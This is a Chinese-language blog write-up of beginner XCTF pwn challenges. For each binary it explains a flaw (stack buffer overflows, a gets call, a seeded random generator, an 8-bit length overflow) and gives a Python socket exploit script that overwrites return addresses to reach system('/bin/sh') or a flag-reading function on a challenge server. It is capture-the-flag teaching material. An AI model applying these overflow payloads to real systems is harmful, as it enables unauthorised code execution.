xctf_pwn_入门

本文最后更新于:2 年前

尝试使用 单纯的底层库 挑战 xctf pwn 的入门题目

使用库:

  1. socket
  2. threading

getshell

ida 打开, 发现 直接调用了 system(“/bin/sh”) 直接反弹了 shell

这里直接抄了一段 python 模拟 nc 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3
# coding = utf-8

import socket
from threading import Thread

sock = socket.socket()

sock.connect(("111.200.241.244", 65467))
# sock.connect(("192.168.120.50", 8080))

def recv():
while True:
data = sock.recv(1024).decode()
if not data:
break
print("Received:"+data)

def send():
while True:
print(1)
sock.send(input().encode() + b'\n')

Thread(target=recv).start()
Thread(target=send).start()

这里需要注意的细节:

send 发送数据时 必须以 \n 结尾, 因为服务端是以\n 判断是否结尾的, python的input 默认把 \n 吃掉了,导致服务器认为你没有发完数据,一直阻塞等待你发送数据,下面也一起阻塞了

直接 ls cat flag 拿到 flag

hello_pwn

image-20211103153827319

代码读取了 0x10 字节的数据到 601068 中, 并判断 60106c 是否为 nuaa 字符串, 是就执行一个函数 cat flag

image-20211103154100154

这里考虑到字符串 大小端 我们构造的 payload 应为 1111aaun 没错就是 nuaa 倒过来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
# coding = utf-8

import socket
import threading


s = socket.socket()
s.connect(("111.200.241.244", 61055))
buffer = s.recv(4096)

print(buffer)
s.send(b'1111aaun\n')
#
buffer = s.recv(1024)

print(buffer)


level0

普通栈溢出

image-20211103154416663

main函数 在 stdin(终端) 中打印 Hello World 后执行 vulnerable_function 函数

image-20211103154516602

vulnerable_function 向 局部变量 buf 中读取字符串 , 这里发现 buf 的大小为 128 , read 函数却能读取 512 字节数据, 说明这里存在 栈溢出漏洞

通过观察 vulnerable_function 的栈帧结构

image-20211103154712062

构造 128 个垃圾字节填充 buf 空间 , 然后 再构造 8 个垃圾字节填充 s 位置, 最后将 想劫持 eip 的地址 填充到 r 中, exp 构造完成

我们发现 callsystem 刚好拥有 system(“/bin/sh”) 直接将 eip 改变到此处即可

image-20211103154959044

改变 eip 的地址为 000000000040059A

这里需要将 这个地址填充到上面的 exp中 , 考虑到 字节序 应将该地址进行转换

1
print(0x000000000040059A.to_bytes(8, byteorder='little', signed=True))

得到: b’\x9a\x05@\x00\x00\x00\x00\x00’

这里 32 位为 4, 64 位为 8

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
# coding = utf-8

import socket
import threading

s = socket.socket()

s.connect(("111.200.241.244", 62414))

buffer = s.recv(4096)
print(buffer)

payload = b'A' * 128 + b'1' * 8 + b'\x96\x05\x40\x00\x00\x00\x00\x00' + b'\n'

s.send(payload)

# s.send(b'ls\n')
s.send(b'cat flag\n')

buffer = s.recv(4096)
print(buffer)

image-20211103155440034

level2

这里稍微复杂一点

main函数调用了 vulnerable_function 漏洞点也在 此处

image-20211103171455461

我们发现 read 函数读取了 0x100 个字节 而函数开辟的栈空间才 0x88 字节, 这里栈溢出了

我们发现,程序里面没有直接调用 system(“/bin/sh”) 但是 system 函数 和 /bin/sh 字符串 都存在

image-20211103171702879

我们可以通过 read + buf 将堆栈填满, 然后覆盖返回地址 劫持eip 到 system 调用,再把 /bin/sh 的地址填上

然后选定好 返回地址 0x0804845C

image-20211103172529178

当 程序通过溢出 执行到 0x0804845C 时, 我们的堆栈情况为

esp-4 -> 0x0804845C

esp -> 0804A024 &”/bin/sh”

我们的 system 函数直接调用了 esp 指向的 字符串 getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
# coding = utf-8

import socket

s = socket.socket()

payload = b'A' * (136 + 4) + 0x804845c.to_bytes(4, "little") + 0x0804A024.to_bytes(4, "little") + b'\n'
s.connect(("111.200.241.244", 56744))

buffer = s.recv(4096)
print(buffer)

s.send(payload)

s.send(b'cat flag\n')


buffer = s.recv(4096)
print(buffer)

guess_num

查看代码

image-20211103195707037

是一个 猜数字的游戏,但是游戏的数字都是随机产生的

溢出点在 get 函数, 该函数没有限制输入长度, 会产生溢出, 可覆写 v7 变量以下的所有变量值

image-20211103195950449

通过观察堆栈,发现随机数种子 seek 在 v7 变量 ,也就是 var_30 下面,所以我们可以通过溢出漏洞, 覆写 seek , 使随机数可控, 从而 执行最下面的 sub_C3E() 函数 , getflag

image-20211103200125511

通过一小段代码,在linux系统上获取指定随机数种子 1 的随机数列表

1
2
3
4
5
6
from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
for i in range(10):
print(libc.rand(), end=",")

拿到之后 , 开始编写 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

rand_num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]

s = socket.socket()
s.connect(("111.200.241.244", 60226))

def get_recv(s):
buffer = s.recv(4096)
print(buffer)

get_recv(s)
get_recv(s)

payload = b'A' * 32 + 0x1.to_bytes(4, "little") + b'\n'
s.send(payload)

for i in range(len(rand_num)):
get_recv(s)
s.send(str(rand_num[i] % 6 + 1).encode() + b'\n')

get_recv(s)
get_recv(s)

image-20211103200344531

int_overflow

调用流程为: main -> login -> check_passwd

login 函数 读取了两个 字符串 用户名和密码

image-20211103202556357

check_passwd 通过判断密码长度, 判定是否为有效密码,为有效密码就做一个字符串拷贝操作

image-20211103202653042

我们可以看到 buf 的最大长度 为 0x199 大于 __int8 的最大容量 0xff , 构造一段特定长度的字符串, 就可以造成 过大的字符串空间被复制到 check_passwd 函数中, 造成 栈溢出

image-20211103203516182

通过观察 堆栈

image-20211103203658955

得到覆写的长度 0x14 + s 的长度 4 + 函数返回地址

本题中提供了 what_is_this 函数 读取flag, 所以函数返回地址要劫持到此处

image-20211103203824752

剩下的字节长度就为 0xff - 0x14 - 4 - 4 = 227

因题目要求长度 大于且不等于 3 所以 227 + 4 = 231

payload :

1
payload = b'A' * (0x14 + 4) + 0x804868B.to_bytes(4, "little") + b'B' * 231 + b'\n'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
# coding = utf-8

import socket

s = socket.socket()
s.connect(("111.200.241.244", 60575))

def get_recv(s):
buffer = s.recv(4096)
print(buffer.decode())

get_recv(s)
get_recv(s)

s.send('1'.encode() + b'\n')
get_recv(s)

s.send(b"m1n9yu3\n")
get_recv(s)
get_recv(s)

payload = b'A' * (0x14 + 4) + 0x804868B.to_bytes(4, "little") + b'B' * 231 + b'\n'
# print(payload.decode())
s.send(payload)
get_recv(s)

# s.send(b'ls\n')
get_recv(s)

image-20211103204209387

cgpwn2

最后一个简单题

提供了 pwn 函数 , pwn函数里调用了 system

image-20211103210548760

但是 程序中,并没有找到 /bin/sh 字符串, 本题只能自己构造 /bin/sh 或者 cat flag 字符串 让 system 调用

main函数调用了 hello , hello 从控制台读取了 name , 和 一个 message

image-20211103210740964

调用了 gets 危险函数, 造成了 栈溢出, 查看栈帧

image-20211103210936997

溢出长度为 0x26 + 4 = 42 之后就是 返回地址 (pwn函数) 然后 再跟上 name 的地址, name 输入一个系统命令, 读取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
# coding = utf-8

import socket

s = socket.socket()
s.connect(("111.200.241.244",58449))

def get_recv():
buffer = s.recv(4096)
print(buffer)

get_recv()
get_recv()

s.send(b'cat flag\n')

get_recv()
get_recv()

payload = b'A' * 42 + 0x0804855A.to_bytes(4, "little") + 0x804A080.to_bytes(4, "little") + b'\n'

s.send(payload)

get_recv()

image-20211103211105570


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!